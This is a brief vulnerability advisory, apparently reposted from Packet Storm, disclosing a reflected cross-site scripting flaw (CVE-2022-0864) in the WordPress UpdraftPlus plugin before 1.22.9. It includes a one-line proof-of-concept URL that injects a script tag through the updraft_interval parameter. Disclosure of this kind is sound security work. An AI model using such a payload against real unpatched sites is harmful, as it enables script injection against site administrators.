WordPress UpdraftPlus Cross Site Scripting

WordPress UpdraftPlus versions prior to 1.22.9 suffers from a cross site scripting vulnerability.


MD5 | e2c035d6535acb9277de847d802bec5d

Download
Tittle:
WordPress Plugin UpdraftPlus < 1.22.9 - Reflected Cross-Site Scripting

References:
CVE-2022-0864

Author:
Taurus Omar 

Description:
The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.

Affects Plugins:
Updraftplus - Fixed in version 1.22.9

Proof of Concept:
https://example.com//wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm(1)</script>

Classification
Type XSS 
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872

Source: packetstormsecurity.com
Related Posts